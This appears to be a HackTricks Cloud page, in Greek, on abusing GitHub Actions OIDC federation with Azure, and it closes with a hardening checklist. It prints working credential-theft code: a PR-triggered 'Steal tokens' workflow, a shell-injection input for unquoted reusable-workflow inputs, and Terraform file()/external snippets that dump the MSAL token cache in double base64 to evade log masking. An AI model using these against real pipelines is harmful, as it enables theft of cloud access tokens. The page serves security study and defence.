Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
GitHub Actions μπορεί να federate προς το Azure Entra ID (formerly Azure AD) χρησιμοποιώντας OpenID Connect (OIDC). Μια GitHub workflow ζητάει ένα βραχυπρόθεσμο GitHub ID token (JWT) που κωδικοποιεί λεπτομέρειες για το run. Το Azure επαληθεύει αυτό το token έναντι ενός Federated Identity Credential (FIC) σε ένα App Registration (service principal) και το ανταλλάσσει με Azure access tokens (MSAL cache, bearer tokens για Azure APIs).
Το Azure επαληθεύει τουλάχιστον:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (όταν γίνεται ανταλλαγή για Azure tokens)
- sub: πρέπει να ταιριάζει με το διαμορφωμένο FIC Subject identifier
Το προεπιλεγμένο GitHub aud μπορεί να είναι ένα GitHub URL. Όταν γίνεται ανταλλαγή με το Azure, ορίστε ρητά audience=api://AzureADTokenExchange.
GitHub ID token γρήγορο PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
Για να επιβάλετε το Azure audience στο αίτημα token:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure setup (Workload Identity Federation)
-
Δημιουργήστε App Registration (service principal) και χορηγήστε ελάχιστα δικαιώματα (π.χ., Storage Blob Data Contributor σε συγκεκριμένο storage account).
-
Προσθέστε Federated identity credentials:
- Έκδότης: https://token.actions.githubusercontent.com
- Ακροατήριο: api://AzureADTokenExchange
- Αναγνωριστικό υποκειμένου: στενά περιορισμένο στο προοριζόμενο workflow/run context (βλέπε Scoping and risks παρακάτω).
- Χρησιμοποιήστε azure/login για να ανταλλάξετε το GitHub ID token και να συνδεθείτε στο Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
Παράδειγμα χειροκίνητης ανταλλαγής (εμφανίζεται το πεδίο του Graph; το ARM ή άλλοι πόροι παρόμοια):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) ανατομία και προσαρμογή
Προεπιλεγμένη μορφή sub: repo:
Οι τιμές του context περιλαμβάνουν:
- environment:
- pull_request (PR ενεργοποιείται όταν δεν υπάρχει environment)
- ref:refs/(heads|tags)/
Χρήσιμα claims που συχνά υπάρχουν στο payload:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Προσαρμόστε τη σύνθεση του sub μέσω του GitHub API για να συμπεριλάβετε επιπλέον claims και να μειώσετε τον κίνδυνο σύγκρουσης:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
Σημείωση: Οι χαρακτήρες ‘:’ στα ονόματα περιβάλλοντος είναι URL‑κωδικοποιημένοι (%3A), αφαιρώντας παλαιότερα κόλπα ένεσης διαχωριστών κατά την ανάλυση του sub. Ωστόσο, η χρήση μη μοναδικών subjects (π.χ., μόνο environment:
Πεδίο εφαρμογής και κίνδυνοι των τύπων subject του FIC
- Κλάδος/Ετικέτα: sub=repo:
/ :ref:refs/heads/ or ref:refs/tags/ - Κίνδυνος: Εάν ο κλάδος/ετικέτα δεν είναι προστατευμένος, οποιοσδήποτε contributor μπορεί να κάνει push και να αποκτήσει tokens.
- Περιβάλλον: sub=repo:
/ :environment: - Κίνδυνος: Τα μη προστατευμένα περιβάλλοντα (χωρίς reviewers) επιτρέπουν στους contributors να δημιουργήσουν tokens.
- Pull request: sub=repo:
/ :pull_request - Υψηλότερος κίνδυνος: Οποιοσδήποτε συνεργάτης μπορεί να ανοίξει ένα PR και να ικανοποιήσει το FIC.
PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
Σχετικές τοποθεσίες αρχείων και σημειώσεις:
- Linux/macOS: ~/.azure/msal_token_cache.json περιέχει MSAL tokens για τις συνεδρίες του az CLI
- Windows: msal_token_cache.bin στο προφίλ χρήστη; προστατευμένο με DPAPI
Επαναχρησιμοποιήσιμα workflows και scoping του job_workflow_ref
Η κλήση μιας επαναχρησιμοποιήσιμης ροής εργασίας προσθέτει το job_workflow_ref στο GitHub ID token, π.χ.:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
Παράδειγμα FIC για να δεσμεύσει τόσο το caller repo όσο και το reusable workflow:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
Διαμορφώστε τα claims στο caller repo ώστε τόσο το repo όσο και το job_workflow_ref να υπάρχουν στο sub:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
Προειδοποίηση: Αν δεσμεύσετε μόνο το job_workflow_ref στο FIC, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα διαφορετικό repo στην ίδια org, να τρέξει το ίδιο reusable workflow στο ίδιο ref, να ικανοποιήσει το FIC και να δημιουργήσει tokens. Συμπεριλάβετε πάντα και το caller repo.
Διαδρομές εκτέλεσης κώδικα που παρακάμπτουν τις προστασίες job_workflow_ref
Ακόμη και με σωστά scoped job_workflow_ref, οποιαδήποτε δεδομένα που ελέγχονται από τον caller και φτάνουν στο shell χωρίς ασφαλές quoting μπορούν να οδηγήσουν σε εκτέλεση κώδικα μέσα στο προστατευμένο context του workflow.
Παράδειγμα ευάλωτου reusable step (unquoted interpolation):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
Κακόβουλη είσοδος του caller για εκτέλεση εντολών και εξαγωγή του Azure token cache:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Το Terraform plan ως μέσο εκτέλεσης σε PRs
Θεώρησε το Terraform plan ως εκτέλεση κώδικα. Κατά το plan, το Terraform μπορεί:
- Διαβάσει αυθαίρετα αρχεία μέσω συναρτήσεων όπως file()
- Εκτελέσει εντολές μέσω του external data source
Παράδειγμα για exfiltrate του Azure token cache κατά το plan:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
Ή χρησιμοποιήστε external για να εκτελέσετε αυθαίρετες εντολές:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
Λίστα ελέγχου σκληρύνσεως
- Μην χρησιμοποιείτε ποτέ sub=…:pull_request για ευαίσθητα FICs
- Προστατέψτε οποιοδήποτε branch/tag/environment που αναφέρεται από FICs (branch protection, environment reviewers)
- Προτιμήστε FICs scoped σε repo και job_workflow_ref για reusable workflows
- Προσαρμόστε το GitHub OIDC sub ώστε να περιλαμβάνει μοναδικά claims (π.χ., repo, job_workflow_ref, repository_owner)
- Εξαλείψτε την unquoted interpolation των caller inputs μέσα σε run steps· κωδικοποιήστε/quote με ασφάλεια
- Θεωρήστε το terraform plan ως εκτέλεση κώδικα· περιορίστε ή απομονώστε τα identities σε PR contexts
- Επιβάλετε least privilege στα App Registrations· ξεχωριστές ταυτότητες για plan vs apply
- Pin actions και reusable workflows σε commit SHAs (αποφύγετε branch/tag pins)
Συμβουλές για χειροκίνητο testing
- Ζητήστε ένα GitHub ID token μέσα στο workflow και εκτυπώστε το σε base64 για να αποφύγετε το masking
- Αποκωδικοποιήστε το JWT για να ελέγξετε τα claims: iss, aud, sub, job_workflow_ref, repository, ref
- Ανταλλάξτε χειροκίνητα το ID token με login.microsoftonline.com για να επιβεβαιώσετε το FIC matching και τα scopes
- Μετά το azure/login, διαβάστε ~/.azure/msal_token_cache.json για να επαληθεύσετε την παρουσία του token material
Αναφορές
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

